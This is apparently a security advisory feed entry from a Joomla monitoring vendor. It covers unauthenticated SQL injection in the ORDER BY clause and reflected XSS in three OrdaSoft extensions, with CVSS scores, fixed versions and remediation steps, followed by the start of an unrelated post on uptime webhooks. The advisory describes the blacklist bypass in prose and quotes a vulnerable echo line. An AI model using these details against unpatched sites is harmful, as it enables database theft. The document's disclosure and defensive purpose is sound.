install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;Book Library, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101110/&quot;&gt;CVE-2026-101110&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Book Library’s &lt;code&gt;books()&lt;/code&gt; function in &lt;code&gt;site/booklibrary.php&lt;/code&gt; reads the &lt;code&gt;field&lt;/code&gt; and &lt;code&gt;direction&lt;/code&gt; parameters and passes each through a function called &lt;code&gt;protectInjectionWithoutQuote()&lt;/code&gt;. Despite the name, its only real protection is a keyword blacklist, and when it spots the word &lt;code&gt;select&lt;/code&gt; it wraps the value in &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt; instead of rejecting it. The value then goes into an unquoted &lt;code&gt;ORDER BY&lt;/code&gt; clause, where quoting is as useless as escaping.&lt;/p&gt;
&lt;p&gt;The record notes two conditions for reaching the vulnerable path: a first request to prime the sort defaults stored in the session, and a trailing SQL comment containing the word &lt;code&gt;select&lt;/code&gt; that satisfies the blacklist without changing what the payload does. Neither needs a login, so neither slows an attacker down much.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101110/&quot;&gt;CVE-2026-101110&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;All three records score the same way: reachable over the network, no privileges, no user interaction, and high impact on the confidentiality, integrity and availability of the data.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;A malicious actor could extract your whole database: usernames, emails, password hashes, session IDs, shopping orders, invoices, and everything else it holds. Gulp.&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Why escaping cannot protect an ORDER BY clause&lt;/h2&gt;
&lt;p&gt;If you write Joomla code, or pay someone who does, this mistake turns up in extension after extension.&lt;/p&gt;
&lt;p&gt;SQL escaping and parameter binding both protect a value, something the database treats as data, like the text in a search box or the number in an ID. Escaping works by making sure the attacker cannot close the quotes the value sits inside. A column name in &lt;code&gt;ORDER BY&lt;/code&gt; is part of the query’s structure rather than a value: it sits in the query with no quotes around it, and a prepared statement cannot bind it as a parameter. There is no quote for the attacker to close, so anything they send is read as SQL from the first character.&lt;/p&gt;
&lt;p&gt;That is why Vehicle Manager’s properly escaped sort value and Book Library’s quoted one are both still injectable. The fix for a sort parameter is to compare it against a fixed list of the columns the listing is allowed to sort by, and to fall back to a default when it matches none of them. Joomla’s own list models do exactly this with their &lt;code&gt;filter_fields&lt;/code&gt; allow-list. The direction parameter gets the same treatment, reduced to &lt;code&gt;ASC&lt;/code&gt; or &lt;code&gt;DESC&lt;/code&gt; and nothing else.&lt;/p&gt;
&lt;h2&gt;The reflected cross-site scripting flaws&lt;/h2&gt;
&lt;p&gt;The second CVE on each extension is less severe but has the same shape across all three: a &lt;code&gt;title&lt;/code&gt; request parameter written back into the page inside a double-quoted HTML attribute with no escaping. A double quote in the parameter closes the attribute, and whatever follows, including a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag, runs in the browser of anyone who opens the crafted link.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In Real Estate Manager (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100753/&quot;&gt;CVE-2026-100753&lt;/a&gt;), the “leave a review” form on the public property page fills its title field straight from the request. The comment field next to it gets partial tag-stripping, the title field gets none.&lt;/li&gt;
&lt;li&gt;In Vehicle Manager (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101109/&quot;&gt;CVE-2026-101109&lt;/a&gt;), the public vehicle page (&lt;code&gt;task=view&lt;/code&gt;) echoes the &lt;code&gt;title&lt;/code&gt; parameter into an attribute with no output encoding.&lt;/li&gt;
&lt;li&gt;In Book Library (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101111/&quot;&gt;CVE-2026-101111&lt;/a&gt;), the book page template, &lt;code&gt;site/views/view_book/tmpl/default.php&lt;/code&gt;, runs &lt;code&gt;echo $_REQUEST[&quot;title&quot;];&lt;/code&gt; inside an attribute.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;5.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100753/&quot;&gt;CVE-2026-100753&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:P&lt;/dt&gt;&lt;dd&gt;Passive: Someone has to visit a page&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:L&lt;/dt&gt;&lt;dd&gt;Low: The site slows or stutters&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;5.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101109/&quot;&gt;CVE-2026-101109&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:P&lt;/dt&gt;&lt;dd&gt;Passive: Someone has to visit a page&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:L&lt;/dt&gt;&lt;dd&gt;Low: The site slows or stutters&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;5.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101111/&quot;&gt;CVE-2026-101111&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:P&lt;/dt&gt;&lt;dd&gt;Passive: Someone has to visit a page&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:L&lt;/dt&gt;&lt;dd&gt;Low: The site slows or stutters&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The scores are lower because the victim has to open a link someone sent them. The link points at your own domain, though, which is what makes a phishing email convincing, and if the person who clicks it is logged in to the Joomla administrator, the script runs with their session.&lt;/p&gt;
&lt;h2&gt;Which versions fix each extension&lt;/h2&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Joomla element&lt;/th&gt;&lt;th&gt;Affected&lt;/th&gt;&lt;th&gt;Fixed in&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Real Estate Manager&lt;/td&gt;&lt;td&gt;&lt;code&gt;com_realestatemanager&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1.0.0 to 6.7.8&lt;/td&gt;&lt;td&gt;6.7.9&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vehicle Manager&lt;/td&gt;&lt;td&gt;&lt;code&gt;com_vehiclemanager&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1.0.0 to 6.5.7&lt;/td&gt;&lt;td&gt;6.5.8&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Book Library&lt;/td&gt;&lt;td&gt;&lt;code&gt;com_booklibrary&lt;/code&gt;&lt;/td&gt;&lt;td&gt;1.0.0 to 6.4.5 or 6.4.6&lt;/td&gt;&lt;td&gt;6.4.6 or the release after it&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Real Estate Manager and Vehicle Manager are straightforward: the title and the affected range in each record agree. Book Library’s records do not. Their titles give the fix as ”&amp;lt; 6.4.6”, while their structured affected range runs from 1.0.0 up to and including 6.4.6. One of the two is a typing slip, and there is no vendor changelog to say which.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Book Library: take the newest release&lt;/p&gt;&lt;div&gt;&lt;p&gt;mySites.guru flags Book Library below 6.4.6, which is what the record titles say. If OrdaSoft offers anything newer than 6.4.6, install that instead, so the question of which half of the record is right stops mattering.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What OrdaSoft has published&lt;/h2&gt;
&lt;p&gt;As far as we can find, OrdaSoft has published no advisory. Its site has no changelog entry, no security page and no mention of any of the six CVE numbers. The only reference in each record is the OrdaSoft home page, and the product pages’ own release lists stop well short of the versions now in circulation. The fixed version numbers in this post come from the CVE records alone.&lt;/p&gt;
&lt;p&gt;That matches what happened eight days ago with &lt;a href=&quot;https://mysites.guru/blog/os-gallery-sql-injection-rce-disclosure/&quot;&gt;OS Gallery, another OrdaSoft extension&lt;/a&gt;, whose four CVEs also named a fixed release that the vendor did not announce. All six of today’s records credit the same finder as the OS Gallery ones, Ala Arfaoui, and between the two batches the same kind of flaw keeps turning up. If you run other OrdaSoft components, keep a close eye on them.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update, 30 September 2026: a fourth OrdaSoft extension&lt;/p&gt;&lt;div&gt;&lt;p&gt;OrdaSoft has now shipped the same sort-order fix in &lt;a href=&quot;https://mysites.guru/blog/ordasoft-os-cck-sql-injection/&quot;&gt;OS CCK&lt;/a&gt;, a content construction kit for Joomla. This one has no CVE and no advisory at all, and OrdaSoft’s update server still advertises the older, vulnerable version, so affected sites are never offered the fix automatically. The same 8.3.16 release also closed a worse flaw that did get a CVE: &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102427/&quot;&gt;CVE-2026-102427&lt;/a&gt;, an unauthenticated file upload that runs PHP, scored CVSS 10.0.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What the mySites.guru database shows&lt;/h2&gt;
&lt;p&gt;These are not common extensions. Only a small number of sites in the mySites.guru database run each one, and on the day the records were published, every install we can see with a readable version number is on an affected release. That is normal on day one of a disclosure, and it is also why a CVE record alone does not get anyone to update, which is why we flag affected sites on the day rather than waiting for owners to notice.&lt;/p&gt;
&lt;h2&gt;What to do today&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Update Real Estate Manager to 6.7.9 or later, Vehicle Manager to 6.5.8 or later, and Book Library to the newest release OrdaSoft offers.&lt;/li&gt;
&lt;li&gt;If you cannot update today, disable the component in the Joomla extension manager. The injection is on public pages that answer whether or not a menu item links to them, so unpublishing a menu item does not close it.&lt;/li&gt;
&lt;li&gt;Treat the database as read on any site that sat on an affected version: reset Super User passwords, rotate the Joomla secret, and replace any stored API keys or mail credentials.&lt;/li&gt;
&lt;li&gt;Check the Super User and Administrator groups for accounts your team did not create.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Find Super User accounts you did not create&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What to check after the flag&lt;/h2&gt;
&lt;p&gt;The version flag tells you a site is exposed. It does not tell you whether anyone got there first, and an SQL injection that needs no login is the kind that gets scripted and sprayed at any site that answers the right URL. The useful checks come after the flag.&lt;/p&gt;
&lt;p&gt;mySites.guru runs them as part of the subscription, unattended, on every connected site. The &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/hacked/rogueadmins&quot;&gt;rogue admin check&lt;/a&gt; lists Super Users added outside the normal flow across your whole account in one view. The &lt;a href=&quot;https://mysites.guru/joomla-malware-scanner/&quot;&gt;malware and file scanners&lt;/a&gt; look for code dropped on the server once an attacker has a password. And the &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; explains how version flags like these three work for every Joomla and WordPress extension we track. Doing the same by hand means logging in to every site, one at a time, every time a vendor like OrdaSoft has a bad week.&lt;/p&gt;
&lt;p&gt;If one of your sites already shows signs of compromise, work through &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;our Joomla hacked-site guide&lt;/a&gt; or have us &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix it for you&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you manage Joomla sites for clients, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;mySites.guru&lt;/a&gt; flags every connected site the day a fix like this is published, and the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; shows what it finds on your own sites first.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100752/&quot;&gt;CVE-2026-100752 record&lt;/a&gt; - Real Estate Manager SQL injection, CWE-89.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101108/&quot;&gt;CVE-2026-101108 record&lt;/a&gt; - Vehicle Manager SQL injection, CWE-89.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101110/&quot;&gt;CVE-2026-101110 record&lt;/a&gt; - Book Library SQL injection, CWE-89.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100753/&quot;&gt;CVE-2026-100753 record&lt;/a&gt; - Real Estate Manager reflected XSS, CWE-79.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101109/&quot;&gt;CVE-2026-101109 record&lt;/a&gt; - Vehicle Manager reflected XSS, CWE-79.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101111/&quot;&gt;CVE-2026-101111 record&lt;/a&gt; - Book Library reflected XSS, CWE-79.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html&quot;&gt;OWASP SQL Injection Prevention Cheat Sheet&lt;/a&gt; - see its section on allow-list input validation for table and column names.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/os-gallery-sql-injection-rce-disclosure/&quot;&gt;OS Gallery 6.2.7 fixes an unauthenticated SQL injection and two authenticated RCEs&lt;/a&gt; - the previous OrdaSoft disclosure, from the same researcher.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>sql-injection</category><category>xss</category><enclosure url="https://mysites.guru/img/og/blog/ordasoft-joomla-extensions-sql-injection.png" length="0" type="image/png"/></item><item><title>Send Downtime Alerts to Teams, Google Chat, Discord or Your Own Code</title><link>https://mysites.guru/blog/uptime-alert-webhooks/</link><guid isPermaLink="true">https://mysites.guru/blog/uptime-alert-webhooks/</guid><description>When the mySites.guru uptime monitor finds one of your connected sites down, the alert can now go to Slack, Discord, Teams, Google Chat or signed JSON webhooks.</description><pubDate>Mon, 28 Sep 2026 14:33:21 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru runs an &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;Uptime Monitor&lt;/a&gt; against the sites you have connected, and when it detects that one is down, it notifies you. It notifies you again when the site comes back. By default that notification is an email, which is fine if you read email the moment it arrives, and most of us do not, least of all at three in the morning. The &lt;a href=&quot;https://mysites.guru/uptime-monitoring/&quot;&gt;uptime monitoring&lt;/a&gt; page covers the rest of the feature.&lt;/p&gt;
&lt;p&gt;Until now the only other option was the mySites.guru Slack app. We looked at every account that runs uptime monitors, and just over 1.5% had it connected. The other 98% or so heard about downtime from their inbox, which is how an uptime alert turns into something you read at breakfast.&lt;/p&gt;
&lt;p&gt;Those down and up notifications can now also go to any webhook URL you paste in. There are five formats: one for Slack and the tools that read Slack’s format (Mattermost and Rocket.Chat), one each for Discord, Microsoft Teams and Google Chat, and signed JSON for n8n, Zapier, Make or your own code. The down and up emails keep arriving as before.&lt;/p&gt;
&lt;h2&gt;Five formats behind one URL box&lt;/h2&gt;
&lt;p&gt;The setting is a card called “Webhook: send Uptime Monitor alerts to any URL” on the &lt;a href=&quot;https://manage.mysites.guru/en/account/notifications/?tab=integrations&quot;&gt;Integrations tab of your notification settings&lt;/a&gt;. Paste the incoming webhook URL your chat app gave you and the format picks itself from the address: a &lt;code&gt;hooks.slack.com&lt;/code&gt; URL selects Slack, a Teams Workflows URL selects Teams, a &lt;code&gt;discord.com/api/webhooks/&lt;/code&gt; URL selects Discord, a &lt;code&gt;chat.googleapis.com&lt;/code&gt; URL selects Google Chat, and anything else falls back to JSON. You can change it by hand if the guess is wrong.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/uptime-alert-webhooks-card.Dv2GrCqi_2n2eLK.webp&quot; alt=&quot;The mySites.guru webhook card with a Google Chat URL pasted in, Google Chat selected automatically in the format menu, Save and Test buttons, and an example message expanded below showing the JSON text body&quot; loading=&quot;lazy&quot; width=&quot;1432&quot; height=&quot;666&quot; /&gt;&lt;/div&gt;&lt;/figure&gt;
&lt;p&gt;The Test button posts a test message using whatever is in the boxes right now, so you can check a URL before you save it. “Show an example message” displays the exact body we will send in the selected format, which saves guessing what will turn up in the channel.&lt;/p&gt;
